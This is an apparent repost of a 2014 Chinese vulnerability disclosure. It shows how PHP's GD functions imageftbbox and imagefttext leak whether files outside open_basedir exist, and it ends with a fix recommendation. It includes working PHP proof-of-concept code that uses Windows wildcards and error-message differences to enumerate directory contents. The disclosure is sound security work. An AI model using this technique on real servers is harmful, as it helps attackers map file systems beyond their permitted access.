记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

php设计缺陷导致绕过open_basedir列举目录之3

2014-12-30 21:35

@/fd的代码里对于列目录有两个方法,一是利用DirectoryIterator类,二是利用realpath函数。前者很好用,我就不多说了。单说下后者,realpath函数在处理已存在的文件(目录)与不存在的文件(目录)时情况不同,如果文件已存在则会抛出错误:open_basedir restriction in effect. File(xxxxx) is not within the allowed path(s),如果文件不存在则会返回false。



所以我们可以通过捕捉错误handle,来判断某文件是否存在。



我的第三个方法也类似。



php的gd2库有一个函数叫imageftbbox:



001.jpg





GD库基本上是php必备库,所以也不存在鸡肋不鸡肋的说法。这个函数第三个参数是字体的路径。我发现当这个参数在open_basedir外的时候,当文件存在,则php会抛出“File(xxxxx) is not within the allowed path(s)”错误。但当文件不存在的时候会抛出“Invalid font filename”错误。

测试代码:

code 区域
<?php

printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));

imageftbbox(100, 100, $_GET['file'], 'aaa');

?>



结果:

002.jpg



003.jpg





所以,我们可以根据php抛出错误的不同来判断某个文件是否存在,进而进行目录的枚举。



在php的GD中,还有个类似的函数(也是需要加载字体的函数)存在同样的问题,是imagefttext。我就一起提交了。

漏洞证明:

在windows下,我们可以通过windows特性,也就是“通配符”来快速枚举目录,不需要暴力跑目录了。

详细代码见#1,这里情况有些不同,所以我再说一遍。

例如d:/test/下有如下文件:

004.jpg





我写了个简单的,但只能枚举文件第一个字符的代码:

code 区域
<?php

printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));

set_error_handler('isexists');

$dir = 'd:/test/';

$file = '';

$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';

for ($i=0; $i < strlen($chars); $i++) {

$file = $dir . $chars[$i] . '<><';

//$m = imagecreatefrompng("zip.png");

//imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');

imageftbbox(100, 100, $file, 'aaa');

}



function isexists($errno, $errstr)

{

global $file;

if (stripos($errstr, 'Invalid font filename') === FALSE) {

printf("%s<br/>", $file);

}

}

?>



输出如下:

005.jpg





可见已列出第一个字符了。顺势我们就可以逐一列出后面的每个字符,造成目录的枚举,我就不具体给代码了,大家自己发挥自己的想象。

修复方案:

只要在open_basedir外,不管文件是否存在,都应该抛出相同错误。

知识来源: www.wooyun.org/bugs/wooyun-2014-083688

阅读:68888 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“php设计缺陷导致绕过open_basedir列举目录之3”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云